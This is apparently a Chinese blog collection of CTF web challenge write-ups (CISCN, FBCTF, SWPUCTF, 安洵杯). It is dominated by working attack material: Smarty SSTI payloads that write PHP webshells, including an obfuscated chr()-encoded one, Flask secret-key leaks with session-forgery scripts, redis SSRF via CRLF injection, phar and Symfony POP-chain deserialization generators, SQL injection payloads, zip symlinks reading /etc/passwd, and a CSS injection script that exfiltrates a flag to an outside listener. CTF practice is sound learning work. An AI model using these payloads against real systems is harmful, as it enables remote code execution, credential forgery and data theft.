ciscn 华东南 web11

https://www.freebuf.com/column/219913.html

题目是一个模拟获取ip的程序,在源码的最下面写着

1
Build With Smarty !

Smarty是PHP的一个模板,想到SSTI

添加一个X-Forwarded-For的请求头

{1+1} 返回ip为2 存在SSTI

Smarty执行php代码的几种方式

1
2
3
4
{$data} //解析变量
{php}phpinfo();{/php} 解析php代码 大部分cms都会禁止掉这个标签
{123|md5} //把123md5加密
{:phpinfo()} //这种也是直接执行代码

获取版本号

{$smarty.version} 返回 3.1.30

针对本题的payload

{if code}{/if}

{if phpinfo()}{/if} 执行了phpinfo

列文件 {if print_r(scandir("/"))}{/if}

获取flag {if show_source('/flag')}{/if}

写马 {if file_put_contents('shell.php','<?php eval($_POST[shell]);?>')}{/if}

题目的漏洞代码

1
2
3
4
5
6
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip);
}

其他的几种payload

php标签

{php}{/php}

Smarty官方手册中描述

1
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

本题中使用的是Smarty类 这种方法不适用

literal 标签

{literal}{/literal}

1
{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

对于php5的环境 可以适用

1
<script language="php">phpinfo();</script>

静态方法

通过self获取Smarty类再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}

payload

1
2
3
4
5
{self::getStreamVariable("file:///etc/passwd")}
该方法适用3.1.30版本以下的 新版里面把这些类 给删掉了


{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} 写shell

assgin

该方法没有成功

assign自定义变量格式

1
{assign var="变量名" value="值"}

一般来说很多调用模板的cms都不会使用默认标签{} 一般都会改成<{}>

1
<{assign var={${fputs(fopen(chr(120).chr(46).chr(112).chr(104).chr(112),chr(119)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(79).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62))}} value=x}>

ciscn 华东南 web4

用file协议提示hack 去掉file 直接用文件名 试了一下main.py run.py不对 app.py对了

?url=/proc/self/cwd/app.py 拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

很明显的伪造session

获取mac地址

1
2
/sys/class/net/eth0/address
02:42:ae:00:00:a1

题目很玄学,得用py2 + linux的环境 但是我用了 也不行

[CISCN2019 华东南赛区]Double Secret

flask的ssti 不过需要rc4加密一下

payload

1
http://web54.buuoj.cn/secret?secret=%2e%14%19%12%c3%ad%49%34%51%68%c2%91%c3%99%00%c2%ad%c2%8d%c3%89%c3%a6%0b%c2%ac%59%26%c2%b8%6d%c3%9f%49%58%c2%ac%76%c2%b6%6d%c3%9f%27%c3%a5%2e%c2%87%4c%c3%85%1b%c3%b4%3b%c3%9b%44%c2%92%c3%84%c3%99%39%5e%c2%80%52%c3%a7%c3%b2%40%60%63%c3%ac%64%78%c2%8f%2b%0a%c2%8d%c3%b7%58%14%c3%b4%c2%90%51%c3%b3%09%27%59

[FBCTF2019]RCEService

正则回溯限制

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://4b9edac9-2f65-4238-9f0b-a91d897a988e.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;[email protected]\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

这里限制了环境 putenv(‘PATH=/home/rceservice/jail’); 使用其他命令 只能用文件的形式

/bin/cat

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

[FBCTF2019]Event

admin/admin登陆不上 test/test登上了 貌似应该是要伪造成admin,就可以拿到flag

看cookie

1
user=InRlc3Qi.XdyNmw.a_Et25s-LPiwIJztaB3UqwXHtwA; events_sesh_cookie=.eJwlzj0OwyAMQOG7eM5gMGCTy0T4B6Vr0kxV716kDm_99D5wzCvuE_b39cQGx8thh5zZnSzQZeBobrXPabiajatRVsZZPJmKRuohNoO1UYwqPa8iCVMUK7URohc0rll8tiiDlckdU-0YmLArL1QkZVKiRRYpsMFzx_WfSfD9Af34Lxg.XdyNmw.xOLyiO0F9NExpAyME5iTarKTRcc

第二个有点像jwt 第一个还不知道是啥东西 但是可以看的出来应该是经过加密的

所以现在要拿到密钥

这里有三个参数

event_name

event_address

event_important

no.1 当时想会不会是sql注入,拿到数据库里的密钥 如果是注入的话 应该是insert型的注入,

no.2 或者是管理员看到了 我们提交的 event 获取到管理员的cookie xss盲打 这里没有说管理员会去看我们提交的东西

no.3 这个网站是用flask写的 会不会存在ssti

用dict看一下 包含哪些东西

1
{'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7ff2c62a87d0>, 'address': 's', 'id': 2, 'owner_id': 1, 'show': '__dict__', 'name': 's', 'fmt': '{0.__dict__}'}

这个应该是一个数据库对象sqlalchemy.orm.state.InstanceState object 里面存放的是name address 还有个show对应的就是event_important

_sa_instance_state参数 SQLAlchemy 在对象的 __dict__ 中维护对象的状态。它往 __dict__ 中加入对象的状态 _sa_instance_state,通过这个值来跟踪对象。主要是为了缓存

这里还有个fmt

python的format方法只能进行属性的访问,不能进行方法的调用

这里一直没看明白 去找源码看了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Event(db.Model, object):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(100), nullable=False)
address = db.Column(db.String(100), nullable=False)
show = db.Column(db.String(200), nullable=False)
owner_id = db.Column(db.Integer, db.ForeignKey("user.id"), nullable=False)
fmt = db.Column(db.String(300), nullable=False)


。。。

if event_name and event_address and event_important:
fmt = "{0.%s}" % event_important

e = Event(
name=event_name,
address=event_address,
show=event_important,
fmt=fmt,
owner_id=current_user.id,
)

try:
e.fmt.format(e)

当传入__dict__ e.fmt.format(e)的值 就是{Event.__dict__} 在format的时候,会自动的去获取Event的属性也就是_dict_

我的测试

1
2
3
4
5
6
7
8
9
>>> event='__dict__'
>>> fmt = "{0.%s}" % event
>>> fmt
'{0.__dict__}'
>>> s=3
>>> fmt.format(s)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'int' object has no attribute '__dict__'

globals之后的结果是一个字典,获取字典中的元素要用dict[key] 这里也是没有搞清楚 为什么key两端不加引号

payload

1
event_name=%7B%7B1%2B1%7D%7D&event_address=%7B%7B1%2B2%7D%7D&event_important=__class__.__init__.__globals__[app].config

拿到密钥

1
fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y

伪造cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
print(session_serializer.dumps("admin"))
return "lol"
index()

python3 运行

[SWPUCTF 2018]SimplePHP

反序列化的一道题

难度不大,但是有一个地方看错了 被坑了一下

主要就是利用file_exist触发phar反序列化,

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Test
{
public $file;
public $params=array("source"=>"/var/www/html/f1ag.php");
}

class Show
{
public $source;
public $str;
}

class C1e4r
{
public $test;
public $str;
}


$phar = new Phar("2.phar"); //后缀名必须为phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$a = new Show();
$a->str = array('str'=>new Test());
$o = new C1e4r();
$o->str=$a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();

?>

这里需要注意的一点是,Test类的str是一个数组,但当时没看清,在这里卡了很长时间

[SWPUCTF 2016]Web blogsys

代码审计

哈希扩展

https://github.com/wonderkun/CTF_web/tree/master/web400-3(swpu_ctf)

利用过程

先利用hash扩展伪造管理员删除userid 再利用变量覆盖 union联合查询flag

riji.php里 $id这里 没有双引号,可能有sql注入,但是前面被intval了,注意一下intval的条件,当result[userid]为真才行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ($_SESSION['user']) {
$username = $_SESSION['user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if ($result['userid']) {
$id = intval($result['userid']);
}
} else {
exit();

<?php
@mysql_conn();
$sql1 = "select * from msg where userid= $id order by id";
$query = mysql_query($sql1);
$result1 = array();
while ($temp = mysql_fetch_assoc($query)) {
$result1[] = $temp;
}
mysql_close();
foreach ($result1 as $x => $o) {
echo display($o['msg']);
}
?>

在api.php里看到 可以删除userid 或者 msg 但是有这么几个条件

1
if ($this->check === md5($result['salt'] . $this->data . $username)) {

和hash扩展很像,看一下$username和$this->data是否可控,

$username会经过一步转义

1
$username = addslashes($this->name);//进入数据库的数据进行转义

$this->data类的一个属性,可控 在api.php的最下面有一行反序列化

1
2
$a = unserialize(base64_decode($api));
$a->do_method();

这里有一个$api变量 看看是从哪里来的,全局搜索了一下,竟然没找到,

可能这个变量是在程序的运行中动态生成的,再去找找有没有生成变量的地方,

api.php文件包含了一个common.php文件,去看看common.php

这里有一段代码动态生成了变量 而且这个动态生成变量,很明显有变量覆盖的问题$$ 并且common.php被多个php文件包含

1
2
3
4
5
6
7
8
9
foreach (Array("_POST", "_GET", "_COOKIE") as $key) {
foreach ($$key as $k => $v) {
if (is_array($v)) {
die("hello,hacker!");
} else {
$k[0] != '_' ? $$k = addslashes($v) : $$k = "";
}
}
}

这里的转义addslashes并不影响变量的生成,因为变量的内容经过了一次base64编码

这三个变量现在剩下 一个salt

1
$result['salt'] . $this->data . $username

哈希生成脚本 不需要知道原始的result[salt] 只需要知道他的md5值 就可以,因为hash扩展攻击 就是利用前一轮的md5值,来hash后一组 得到最终的hash值

1
python2 md5pad.py   6122c04e8a1f3529d556199960ef2556  admin 16

序列化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 

class admin
{
var $name='admin';
var $check='6122c04e8a1f3529d556199960ef2556';
var $data="\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
var $method='del_user';
var $userid='4';
}
$a = new admin();
$api = base64_encode(serialize($a));
echo $api;

注意$data要用双引号,不能用单引号,单引号不会解析,这里的\x00 需要被解析成空字符

反思

只看到了hash扩展哪里的问题,做题的时候就在想,我伪造成了admin,有啥用 下面只有删除的东西,和flag毫无关系,最后看了wp才知道,原来前面还有一处sql注入+变量覆盖

还有一个地方就是\x80\x00这一串pading,在这里卡了好长时间,先这种的16进制数据得加上双引号才能被解析

[SWPUCTF 2016]Web7

python urllib 右侧注入

redis ssrf

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python 
# coding:utf8

__author__ = 'niexinming'

import cherrypy
import urllib2
import redis

class web7:
@cherrypy.expose
def index(self):
return "<script> window.location.href='/input';</script>"
@cherrypy.expose
def input(self,url="",submit=""):
file=open("index.html","r").read()
reheaders=""
if cherrypy.request.method=="GET":
reheaders=""
else:
url=cherrypy.request.params["url"]
submit=cherrypy.request.params["submit"]
try:
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
except Exception,e:
reheaders="错误"+str(e)
for x in urllib2.urlopen(url).info().headers:
reheaders=reheaders+x+"<br>"
file=file.replace("<?response?>",reheaders)
return file
@cherrypy.expose
def login(self,password="",submit=""):
pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
r = redis.Redis(connection_pool=pool)
re=""
file=open("login.html","r").read()
if cherrypy.request.method=="GET":
re=""
else:
password=cherrypy.request.params["password"]
submit=cherrypy.request.params["submit"]
if r.get("admin")==password:
re=open("flag",'r').readline()
else:
re="Can't find admin:"+password+",fast fast fast....."
file=file.replace("<?response?>",re)
return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
'server.socket_port': 8080,
})
cherrypy.quickstart(web7(),'/')

在input界面发现可以提交url 这里可能是内网环境,不能访问百度,试了一下127.0.0.1不行

加上8080端口就行了 应该是有ssrf 探测一下端口6379开放 很明显的redis服务

在login页面貌似是一个需要密码登陆的东西

利用python的http头部注入 类似于CRLF的一个东西

https://www.tuicool.com/articles/2iIj2eR

看下payload

一步的

1
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/

分步实现的

改数据库存储位置

1
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/

改admin的密码

1
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/

这里有一点没有看明白,为什么这些redis命令要加在ip地址和端口之间

个人推测: 先对整个url访问 这时候端口被解析了,然后在解析url编码的时候,导致了换行注入

[CISCN2019 总决赛 Day1 Web4]Laravel1

一个反序列化的题

先找一下入口点,全局搜索__destruct

TagAwareAdapter类

1
2
3
4
public function __destruct()
{
$this->commit();
}

这里调用了commit方法,跟进

1
2
3
4
public function commit()
{
return $this->invalidateTags([]);
}

commit又调用了invalidateTags,跟进

在invalidateTags中,找到了这么一段代码

1
2
3
4
5
6
7
8
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}

反序列化时是可以控制类的属性的,$this这种属性是都可以控制的,$this->pool->saveDeferred这里貌似就可以调用任意方法了,

$item是由$this->deferred转换来的 并且参数也可控

跟踪一下saveDeferred函数

PhpArrayAdapter类

1
2
3
4
5
6
7
8
public function saveDeferred(CacheItemInterface $item)
{
if (null === $this->values) {
$this->initialize();
}

return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
}

这里会调用initialize方法,触发条件是$this->values===null 这个也能满足,

跟进initialize方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private function initialize()
{
if (!file_exists($this->file)) {
$this->keys = $this->values = [];

return;
}
$values = (include $this->file) ?: [[], []];

if (2 !== \count($values) || !isset($values[0], $values[1])) {
$this->keys = $this->values = [];
} else {
list($this->keys, $this->values) = $values;
}
}

这里会调用一个文件包含,触发条件是文件存在,这个很好满足

Pop链已经连起来了,构造一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
namespace Symfony\Component\Cache{

use Symfony\Component\Cache\Adapter\ProxyAdapter;

final class CacheItem{
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
public function __construct()
{
$this->expiry = 'sjdjfkas';
$this->poolHash = '123';
$this->key = '';
}
}
}
namespace Symfony\Component\Cache\Adapter{

use Symfony\Component\Cache\CacheItem;
use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}

class ProxyAdapter{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
private $pool;
public function __construct()
{
$this->pool = new ChainAdapter();
$this->createCacheItem = 'call_user_func';
$this->namespace = 'phpinfo';
}
}
class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
private $pool;

public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}

namespace {

use Symfony\Component\Cache\Adapter\TagAwareAdapter;

$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}

这个pop链 我没看懂

https://xz.aliyun.com/t/5816#toc-0

[安洵杯 2019]iamthinking

tp6.0的反序列化,parse_url绕过

tp6的反序列化先留个坑,以后在填上

parse_url绕过

https://p1keman.github.io/2019/10/13/php%E5%87%BD%E6%95%B0%E6%80%BB%E7%BB%93/

[安洵杯 2019]不是文件上传

sql注入+反序列化

在help.php的最下面看到了__destruct 调用了view_files读文件

__destruct

1
2
3
4
function __destruct(){
# Read some config html
$this->view_files($this->config);
}

view_files

1
2
3
4
5
6
7
8
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

触发反序列化的条件,unserialize phar等

在show.php中,找到了unserialize

1
2
3
4
  	if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}

并且这里还有一个str_replace替换,有点怪,先追踪一下$row[“attr”],也就是数据库中的attr字段,

在help.php中找到了attr 并且还有一个serialize

1
2
3
4
5
6
7
8
9
10
11
12
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);

当时我是这么想的,把$array[“attr”]替换成反序列化的payload就行了,但是这里的序列化结果是一个数组,我构造的是一个类,不行 到这里在就没往下看

看了wp之后,原来下面还有个sql注入 insert类型的

1
2
3
4
5
6
7
8
9
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";

这里会经过一步check方法

1
2
3
4
5
6
7
8
9
10
11
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);

注入点在文件名上 根据上面的upload,插入的数据第五个字段应该是attr 这里的title是把文件名去掉后缀之后的值,那么直接在文件名后面加上一个注释符,前面在构造4个字段,就可以在title这里进行注入

还有一个地方要注意,这里要用到上面的str_replace

因为help类的属性是Protect的 序列化之后会产生一个\x00*\x00 但是这里不能用%00 因为数据是从数据库中拿出来的,可能会产生截断

数据出库后,会经过一步str_replace('\0\0\0',chr(0).'*'chr(0)) 只需要把payload里面的\x00*\x00 改成\0\0\0就好了

最后的payload 0x开头的数据会被解析成字符串

1
2
Content-Disposition: form-data; name="file"; filename="1',2,2,2,0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.png"
Content-Type: image/png

[安洵杯 2019]cssgame

css注入

先看下css注入,主要是利用css选择器

基础

id选择器

用来选择id

eg 选择元素属性id值为para1

1
2
3
4
5
#para1
{
text-align:center;
color:red;
}
class选择器

所有具有class属性的元素

1
2
3
4
5
6
7
8
9
10
11
<style>
.cen
{
text-align:center;
}
</style>
</head>

<body>
<h1 class="cen">标题居中</h1>
<p class="cen">段落居中。</p>

也可以指定元素 选择所有p元素的class属性

1
2
3
4
5
6
7
8
9
10
11
<style>
p.cen
{
text-align:center;
}
</style>
</head>

<body>
<h1 class="cen">标题居中</h1>
<p class="cen">段落居中。</p>
属性选择器

No.1

1
2
3
4
[title]
{
color:blue;
}

No.2 选择所有标题中值为run的

1
2
3
4
[title=run]
{
border:5px solid green;
}

No.3 选择所有标题中值包含run的

1
2
3
4
[title~=hello] 
{
color:blue;
}

和上面的一样 不过这个是lang属性

1
[lang|=en] { color:blue; }

No.4 选择表单样式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<style>
input[type="text"]
{
width:150px;
display:block;
margin-bottom:10px;
background-color:yellow;
}
input[type="button"]
{
width:120px;
margin-left:35px;
display:block;
}
</style>
</head>
<body>

<form name="input" action="demo-form.php" method="get">
Firstname:<input type="text" name="fname" value="Peter" size="20">
Lastname:<input type="text" name="lname" value="Griffin" size="20">
<input type="button" value="Example Button">

</form>
</body>

input[]对应的是选择表单中input元素 type对应的是属性

几个符号的使用
1
^= *= |= $= ~=

^=a 匹配以a开头 $=a 匹配以a结尾

1
input[value^='a'] { color:blue; }

*= 包含匹配的字符就可以

1
input[value*="Pet"]

看题

这里在本地复现了一下

https://nikoeurus.github.io/2019/11/30/2019%E5%AE%89%E8%AF%A2%E6%9D%AF-Web/#cssgame

主要就是利用css注入,向外传输数据,再加上盲注判断

复现demo

test.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
$css = $_GET['css'];
?>
<!doctype html><meta charset=utf-8>
<input name="flag" type=hidden value="flag{xxx}">
<script>
var TOKEN = "<?=$token2 ?>";
</script>

<link rel="stylesheet" href="<?=$css ?>" />

1.css

1
2
3
input[name=flag][value^="f"] ~ * {
background-image: url("http://192.168.25.136:9999/?flag=f");
}

访问

1
http://127.0.0.1/test.php?css=http://192.168.25.136/1.css

kali上监听9999端口

这里需要用chrome浏览器 火狐不行

过程是这样的 input哪里会产生一个判断 如果匹配到name=flag 且 value以f开头 那么就会去加载background kali上就会收到请求 保证value 和 传给kali的值一样,就能把flag才出来

再来个大佬的脚本,把所有的可能全放在一个css文件内,然后那个命中,就访问那个

1
2
3
4
5
6
f = open("1.css","w")
dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-"
for i in dic:
payload = '''input[name=flag][value^="flag{'''+i+'''"] ~ * {background-image:url("http://192.168.25.136:9999/?flag=flag{'''+i+'''");}'''
f.write(payload + "\n")
f.close()

题目里是这样的 发送一个css参数给flag.html 然后flag.html会调用

1
<link rel="stylesheet" href="${encodeURI(req.query.css)}" />

把css拼接到url中,然后去访问

req.query 就是获取查询参数的意思,也就是获取查询参数中的css 没有要求请求方法

还可以获取请求数组中的参数

1
2
3
?shoe[color]=blue
req.query.shoe.color
// => "blue"

[SWPU2019]Web1

sql注入

本以为是个xss盲打, 后来试了一下id 还有登录处,没找到sql注入

看了wp才知道 注入点在title

经过测试 and or 空格等都被过滤 注释符也被过滤

payload

1
title=1'^if(ascii(substr((select/**/database()),1,1))<100,0,1);%00

猜测正确的话,会返回payload以及广告的内容

猜测错误的话,会返回未找到广告

写个脚本慢慢跑就行了

看了大佬们的博客,又看到了两种新姿势

一叶飘零大佬的报错

1
1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/version()),0x7e))/**/||'a'='a

这个报错函数还是头一次见

原题使用了高版本的MySQL,里面有几个新特性

mysql.innodb_table_stats表 表中有以下字段

1
2
3
4
5
| database_name            | 数据库名称                
| table_name | 表名,分区名或子分区名
| last_update | 最后一次更新统计信息时间
| n_rows | 表中的行数
| clustered_index_size | 主键索引大小(单位page)

mysql.innodb_index_stats 这个表也可以用来获取库名 表名

和上面的mysql.innodb_table_stats差不多

1
select/**/table_name/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()

sys.schema_auto_increment_columns表 记录自增

1
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a

总结

sql连接字符还可以用&& ||

闭合引号可以用;%00 ‘a’=’a

[SWPU2019]Web3

思路

session伪造 想到获取key 获取key想到模板注入 模板注入想到传参数,像flask这种模板 都是通过路由来访问,有时url会被渲染,这时可能造成ssti

随便输入一个用户密码,登陆有一个Upload上传界面,但是显示没权限 就想到了admin

提交一次登录框,会返回一个根据,用户 密码构造的session,尝试过把用户密码 改为admin 都不行 以为是密码错误

看了wp 提示ssti

拿到key

1
2
3
4
5
请求头
GET /{{1+1}} HTTP/1.1

响应头
Swpuctf_csrf_token: U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

伪造session

1
2
3
4
python3 flask_session_cookie_manager3.py encode -s '[email protected]#$%^&*' -t "{'id': '1', 'is_login': True, 'password': 'admin', 'username':'admin'}"


.eJyrVspMUbJSMlTSUcosjs_JT8_MU7IqKSpN1VEqSCwuLs8vAkknpuQCxXWUSotTi_ISc1PhQrUAnS0VOA.XfSSCA.jcBBqCgydEuVe-OCQG29v82MGqc

注意这里要用python3生成,python2貌似不行

文件上传

提示只能上传zip文件,并且会把zip文件解压

试试软链接

1
2
3
[email protected]:/# ln -s /etc/passwd link
[email protected]:/# zip -y test.zip link
adding: link (stored 0%)

这里犯了点错误,我一开始直接是的/flag 然后报错, 这里要注意服务器上不一定有/flag这个文件,所有试的时候,要确保文件一定要是存在的,要不然就会错过这个点

发现可以读文件,flag文件没有找到在哪里。就先去读一下源码,因为有环境变量这些,可以拿到web目录

拿路径

1
2
3
4
5
6
[email protected]:~# ln -s /proc/self/cmdline l
[email protected]:~# zip -y t1.zip l
adding: l (stored 0%)

/usr/local/bin/python/app/login.py
这里的/usr.../python 应该指向的是python的路径 后面的app/login.py是web路径

拿到源码

1
2
[email protected]:~# ln -s /proc/self/cwd/login.py l3
[email protected]:~# zip -y t3.zip l3

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# *_* coding: UTF-8 *_*

from flask import (Flask,make_response, render_template,render_template_string, g, session, redirect, url_for,request, flash, send_from_directory)
from flask_bootstrap import Bootstrap
import os
import hashlib
import zipfile
import traceback
import shutil

SECRET_KEY = '[email protected]#$%^&*'

